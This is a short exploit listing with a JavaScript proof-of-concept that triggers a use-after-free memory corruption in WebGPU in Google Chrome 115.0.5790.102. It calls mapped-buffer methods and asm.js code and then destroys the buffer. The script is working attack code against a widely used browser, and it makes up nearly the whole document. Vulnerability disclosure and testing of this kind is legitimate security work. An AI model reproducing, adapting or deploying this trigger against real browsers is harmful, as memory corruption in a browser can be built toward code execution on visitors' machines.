Headline
Google Chrome 115.0.5790.102 Memory Corruption
Google Chrome version 115.0.5790.102 WebGPU use-after-free memory corruption proof of concept exploit.
<script>/*Google Chrome WebGPU Memory CorruptionAuthor: Jean Pereira <[email protected]>Released: 2023/06/25Vendor: https://www.google.comSoftware: https://www.google.com/chrome/Tested with version: 115.0.5790.102 (latest version)*/navigator.gpu.requestAdapter().then(a => { a.requestDevice().then(d => { const b = d.createBuffer({ mappedAtCreation: true, size: 0x1000, usage: GPUBufferUsage.MAP_WRITE, }) function asm(s, a, b) { 'use asm' var arr = new s.Uint32Array(b) function nop(x) { x = x | 0 } return nop } asm({ Uint32Array: Uint32Array }, {}, b.getMappedRange()) b.destroy() })})</script>